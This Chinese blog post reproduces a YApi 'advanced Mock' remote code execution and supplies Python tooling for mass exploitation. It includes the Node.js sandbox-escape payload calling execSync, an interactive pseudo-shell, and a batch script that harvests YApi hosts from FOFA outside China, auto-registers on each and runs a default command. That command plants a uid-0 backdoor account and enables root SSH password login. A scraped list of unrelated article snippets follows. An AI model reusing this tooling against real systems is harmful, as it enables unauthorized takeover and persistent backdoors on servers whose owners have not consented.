Yapi RCE 复现和批量编写
一、漏洞复现
首先祭出fofa,搜索语句为 app="yapi"
,但是为了避开国内,所以使用 app="yapi" && country="SG"
,SG为新加坡,结果如图
虽然有30页,但是能利用的可能也没几个,而且 docker 居多
顺便记录一下验证 docker 的两个小方法
- ps -ef :docker 一般显示很少的进程
- ls -a /.dockerenv
点击注册,信息随便填,但是可能会遇到这种情况
这是第一道坎,不,第一道坎应该是压根就访问不了,这是第二道坎
找了个能注册的,注册完进入如图页面,点击 添加项目
添加完项目进入如下页面,继续 添加接口
添加完接口进入如下页面,点击 高级Mock
将《高级Mock可以获取到系统操作权限》中的exp,保存到脚本中,但是这里可能保存不成功,第三道坎
回到预览页面,点击下方的链接
可以看到命令成功执行了,而且这很大概率不是docker,然后这里有第四道坎,命令可能根本执行不成功,比如 百度yapi
# 二、伪shell的编写
一开始只是想写个脚本,快速改Mock脚本,返回执行结果,假装拿到了一个shell
# coding=utf-8
import jsonimport requestsurl = 'http://ip:port/'r = requests.session()projectID = '131' # http://ip:port/project/131/interface/api/1141
interfaceID = '1141' # 131 projectID 1141 interfaceIDheaders = {'Content-Type': 'application/json'
}def login():data = {"email": "sad@qq.com","password": "asd"}rsp = r.post(url + 'api/user/login', data=json.dumps(data), headers=headers)print(rsp.text)def rce(cmd): # 这里做了优化,对全局变量进行修改,需要关闭 ‘高级Mock’ 中的脚本poc = '''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''.format(cmd)data = {"id": projectID, "project_mock_script": f'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{cmd}").toString()''',"is_mock_open": True}rsp = r.post(url + 'api/project/up', data=json.dumps(data), headers=headers)print(rsp.text)def result():url2 = url + f'mock/{projectID}/1/1'rsp = r.get(url2, headers=headers)print(rsp.text)if __name__ == '__main__':login()while True:cmd = input('$ ')rce(cmd)result()
该处使用的url网络请求的数据。
# 二、批量脚本
可能人就是太不能满足了吧,写完 伪shell脚本 之后我又觉得再加点料就能整个批量了,然后就有了下面的脚本
提示:脚本中使用的命令可能无法正常运行,反弹shell才是永远的神。
比如我就经常遇到 useradd 不存在的报错,但是这种明显是可以执行命令的。所以请关注脚本的输出
# fofa.py
通过 pip install fofa 下载,但是在 python3 中并不能正常运行,所以我修改了一下脚本,改名为 fofa.py 放在脚本的执行目录。
# -*- coding: utf-8 -*-
import base64
import json
import urllib
import urllib.error
import urllib.parse
import urllib.requestclass Client:def __init__(self, email, key):self.email = emailself.key = keyself.base_url = "https://fofa.so"self.search_api_url = "/api/v1/search/all"self.login_api_url = "/api/v1/info/my"self.get_userinfo() # check email and keydef get_userinfo(self):api_full_url = "%s%s" % (self.base_url, self.login_api_url)param = {"email": self.email, "key": self.key}res = self.__http_get(api_full_url, param)return json.loads(res)def get_data(self, query_str, page=1, fields=""):res = self.get_json_data(query_str, page, fields)return json.loads(res)def get_json_data(self, query_str, page=1, fields=""):api_full_url = "%s%s" % (self.base_url, self.search_api_url)param = {"qbase64": base64.b64encode(query_str), "email": self.email, "key": self.key, "page": page,"fields": fields}res = self.__http_get(api_full_url, param)return resdef __http_get(self, url, param):param = urllib.parse.urlencode(param)url = "%s?%s" % (url, param)try:req = urllib.request.Request(url)res = urllib.request.urlopen(req).read()if b"errmsg" in res:raise RuntimeError(res)except urllib.error.HTTPError as e:print("errmsg:" + e.read().decode()),raise ereturn res
# fofasearch.py
import reimport fofaclass Fofa:email = fofa_accountkey = key # key 在 个人资料中client = fofa.Client(email, key)def __init__(self, query_str):self.query_str = query_strdef search(self, page):hostList = []data = self.client.get_data(self.query_str.encode(), page=page, fields="host")for host in data['results']:if re.search('http[s]?://', host) is None:host = 'http://' + hostif re.search('/$', host) is not None:host = host[:-1]hostList.append(host)return hostListif __name__ == '__main__':F = Fofa('app="yapi"')for page in range(1, 10):print(F.search(page))
# yapi.py
# coding=utf-8
import json
import sysimport requestsfrom fofasearch import Fofaexp = '''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''class Yapi:def __init__(self, url):self.r = requests.session()self.url = urlself.headers = {'Content-Type': 'application/json'}print('\n\n' + '*' * 10 + url + '*' * 10)def register(self, email, passwd, username):data = {"email": email,"password": passwd,"username": username}rsp = self.r.post(self.url + '/api/user/reg', data=json.dumps(data), headers=self.headers, timeout=2)# print(rsp)print(json.loads(rsp.text)['errmsg'])return json.loads(rsp.text)['errmsg']def login(self, email, passwd):data = {"email": email,"password": passwd}rsp = self.r.post(self.url + '/api/user/login', data=json.dumps(data), headers=self.headers, timeout=2)print(json.loads(rsp.text)['errmsg'])return json.loads(rsp.text)['errmsg']def getGroupId(self):rsp = self.r.get(self.url + '/api/group/get_mygroup', timeout=2)return json.loads(rsp.text)['data']['_id']def addProject(self, groupid):data = {"name": "1","basepath": "/1","desc": "1","group_id": groupid,"icon": "code-o","color": "pink","project_type": "private"}rsp = self.r.post(self.url + '/api/project/add', data=json.dumps(data), headers=self.headers, timeout=2)projectId = json.loads(rsp.text)['data']['_id']return projectIddef addInterface(self, projectID):data = {"method": "GET","catid": "112","title": "1","path": "/1","project_id": projectID}rsp = self.r.post(self.url + '/api/interface/add', data=json.dumps(data), headers=self.headers, timeout=2)interfaceID = json.loads(rsp.text)['data']['_id']return interfaceIDdef isDocker(self, projectID):data = {"id": projectID,"project_mock_script": exp.format('ls -al /'),"is_mock_open": True}self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers, timeout=10)def rce(self, cmd, projectID, interfaceId):data = {"id": projectID,"project_mock_script": exp.format(cmd),"is_mock_open": True}rsp = self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers)# print(rsp.text)def result(self, projectId):url2 = self.url + f'/mock/{projectId}/1/1'rsp = self.r.get(url2, headers=self.headers)return rsp.textdef main(host, cmd='', email="jklasdsd@yapi.com", passwd="123456", username="admin", shell=False, passDocker=False):y = Yapi(host)try:regResult = y.register(email, passwd, username)except:print('register failed')returnif regResult == '该email已经注册':try:print('try Login...')result = y.login(email, passwd)if result != 'logout success...':print('login failed...')returnexcept:print('Login failed')returntry:groupId = y.getGroupId()projectID = y.addProject(groupId)print('projectID: ' + str(projectID))interfaceID = y.addInterface(projectID)except:returntry:y.isDocker(projectID)result = y.result(projectID)except:print('Command execution failed')returnif '.dockerenv' in result:print('this is Docker')if passDocker:returnif shell:while True:cmd = input('\n# ')y.rce(cmd, projectID, interfaceID)y.result(projectID)else:try:y.rce(cmd, projectID, interfaceID)result = y.result(projectID)except:print('Command execution failed')returnif 'Invalid or unexpected token' in result:print('Command execution failed')elif len(result) == 0:print('no echo')else:try:print(result)except:print(result.encode())if __name__ == '__main__':query_str = 'app="yapi" && country!="CN"'cmd = '''adduser sddads && echo 'sddads:Ll123@lL'|chpasswd && sed -i '$csddads:x:0:0:root:/root:/bin/bash' /etc/passwd && sed -i 's/#* *PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config && sed -i 's/#* *PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config && echo 'success' && systemctl reload ssh | systemctl reload sshd''' # 这里是要执行的命令# f = open('yapi.log', 'a')# sys.stdout = fF = Fofa(query_str)for page in range(1, 58):hostList = F.search(page)for host in hostList:try:requests.get(host, timeout=2)except:print('\n\n' + '*'*10 + host + '*'*10)print('connection failed')continuemain(host, cmd)# f.close()
跑起来就是这种效果,但是我的那套命令不是很好,通常是解析出错,可以的话,师傅们能给点指导意见嘛
相关文章:

Yapi RCE 复现和批量编写
一、漏洞复现 首先祭出fofa,搜索语句为 app"yapi",但是为了避开国内,所以使用 app"yapi" && country"SG",SG为新加坡,结果如图 虽然有30页,但是能利用的可能也没几…...
【2024年-9月-21日-开源社区openEuler实践记录】PilotGo:简化运维管理的开源利器
开篇介绍 大家好,我是 fzr123。在运维领域摸爬滚打许久,我发现了PilotGo这个超实用的开源项目,它正悄然改变着运维人员处理日常任务的方式,为复杂的运维管理工作带来了极大的便利与效率提升。 技术亮点 1. 自动化运维任务编排 …...
ubuntu 20.04 国内源安装docker
先更新软件包,安装备要apt软件 # 更新软件包索引 sudo apt-get update# 安装需要的软件包以使apt能够通过HTTPS使用仓库 sudo apt-get install ca-certificates curl gnupg lsb-release使用阿里云源 # 添加阿里云官方GPG密钥 curl -fsSL http://mirrors.aliyun.co…...

比亚迪30亿教育慈善基金正式启动,助推中国科教进步
12月30日,比亚迪在深圳总部举行了30亿教育慈善基金启动仪式,比亚迪股份有限公司董事长兼总裁王传福与来自全国的35所高校代表及28所科技馆、博物馆代表共同启动比亚迪30亿教育慈善基金捐赠,推动中国科教进步。 捐资30亿教育慈善基金…...

【链表】重排链表,看似复杂实则并不简单~
文章目录 143. 重排链表解题思路 143. 重排链表 143. 重排链表 给定一个单链表 L 的头节点 head ,单链表 L 表示为: L0 → L1 → … → Ln - 1 → Ln 请将其重新排列后变为: L0 → Ln → L1 → Ln - 1 → L2 → Ln - 2 → … 不能…...

yakit-靶场-高级前端加解密与验签实战(for嵌套纯享版)
高级前端加解密与验签实战 一、前端验证签名(验签)表单:HMAC-SHA256 使用hmac-sha256的十六进制key值可以加密 与页面加密后的值相同 热加载: encryptData func(p) { //sha256key值key codec.DecodeHex("313233343132333…...

洛谷 P1328 [NOIP2014 提高组] 生活大爆炸版石头剪刀布
题解: #include<iostream> #include<vector> //定义二维数组,直接标识不同出法相应对应关系 int mark[5][5]{{0,-1,1,1,-1},{1,0,-1,1,-1},{-1,1,0,-1,1},{-1,-1,1,0,1},{1,1,-1,-1,0}}; void JudgeScore(int A,int B,int& countA,int&…...

NLP论文速读(NeurIPS 2024)|BERT作为生成式上下文学习者BERTs are Generative In-Context Learners
论文速读|BERTs are Generative In-Context Learners 论文信息: 简介: 本文探讨了在自然语言处理(NLP)领域中,上下文学习(in-context learning)的能力,这通常与因果语言模型&#x…...

亚马逊云科技 | Amazon Nova:智能技术新势力
在2024年亚马逊云科技re:invent大会上,Amazon Nova 系列自研生成式 AI 多模态模型重磅登场,新一代的AI产品-Amazon Nova,隶属于 Amazon Bedrock,一共发布6款大模型,精准切入不同领域,解锁多元业务可能&…...

Kali 自动化换源脚本编写与使用
1. 背景与需求 在使用 Kali Linux 的过程中,软件源的配置对系统的更新与软件安装速度至关重要。 Kali 的默认官方源提供了安全且最新的软件包,但有时由于网络条件或地理位置的限制,使用官方源可能会出现速度较慢的问题。 为了解决这一问题&a…...

【已解决】PDF文档有密码怎么办(2024新)免费在线工具PDF2Go
强大的解密工具PDF2Go使用指南 一、PDF2Go简介 PDF2Go是由德国QaamGo公司开发的在线PDF工具箱,以其强大的功能和用户友好的界面而闻名。它不仅免费,而且不需要用户注册或安装任何软件,只需打开浏览器即可使用。 二、功能特点 1. 免费且无需…...

华为ensp-BGP联盟
学习新思想,争做新青年,今天学习BGP联盟 实验介绍 一个BGP联盟是一个具有内部层次结构的AS。一个BGP联盟由若干个子AS 组成,子AS也称为成员AS。对于一个BGP联盟,其成员AS内部的各路由器之间需要建立全互联的IBGP邻居关系或使用B…...

ArcGIS中怎么进行水文分析?(思路介绍)
最近有人咨询,ArcGIS中怎么进行水文分析,大致的说一下河网提取的思路哈 解决思路:dem填洼→计算水流方向→计算水流累积矩阵→形成河网 dem填洼 计算水流方向 计算水流累积矩阵 用栅格计算器,设阈值(自己多次尝试&…...

LabVIEW中实现多个Subpanel独立调用同一个VI
在LabVIEW中,如果需要通过多个Subpanel同时调用同一个VI并让这些VI实例独立运行,可以通过以下方法实现: 1. 问题背景 LabVIEW默认的VI是以单实例方式运行的。当将同一个VI加载到多个Subpanel时,会因为共享同一内存空间而导致冲突…...
【SpringMVC】Bean 加载控制
在实际开发中,SpringMVC 负责扫描和加载 Controller 层的 Bean 对象,而业务层和数据层等其他模块的 Bean 则由 Spring 框架负责扫描和加载。那么,如何控制 Spring 仅加载除了 Controller 层之外的其他 Bean 呢?为了解决这个问题&a…...
Socket编程中关于服务器端监听端口与新连接端口的深入剖析
Socket编程中关于服务器端监听端口与新连接端口的深入剖析 在Socket编程领域,存在一个容易让初学者感到困惑的问题。尽管很多人在网络上进行了相关探讨,但不少解释要么不够清晰明了,要么太过肤浅,未能深入到问题的核心࿰…...
如何通过HTTP API更新Doc
本文介绍如何通过HTTP API更新Collection中已存在的Doc。 说明 若更新Doc时指定id不存在,则本次更新Doc操作无效 如只更新部分属性fields,其他未更新属性fields默认被置为null 前提条件 已创建Cluster:创建Cluster。 已获得API-KEY&#…...

Qt5 中 QGroupBox 标题下沉问题解决
我们设置了QGroupBox 样式之后,发现标题下沉了,那么如何解决呢? QGroupBox {font: 12pt "微软雅黑";color:white;border:1px solid white;border-radius:6px; } 解决后的效果 下面是解决方法: QGroupBox {font: 12pt "微软雅黑";color:white;bo…...

[OpenGL]使用glsl实现smallpt
一、简介 本文介绍了如何使用 OpenGL,使用 glsl 语言在 Fragment shader 中实现 smallpt。程序完成后可以得到以下渲染结果(samples per pixel, spp 16)。在程序中按下A,W可以左右平移,按下W,S可以前后平移: 二、s…...

elementui的默认样式修改
今天用element ui ,做了个消息提示,发现提示的位置总是在上面,如图: 可是我想让提示的位置到下面来,该怎么办? 最后还是看了官方的api 原来有个自定义样式属性 customClass 设置下就好了 js代码 css代码…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...

聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...
【论文笔记】若干矿井粉尘检测算法概述
总的来说,传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度,通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...

2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...

回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...

【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...

STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...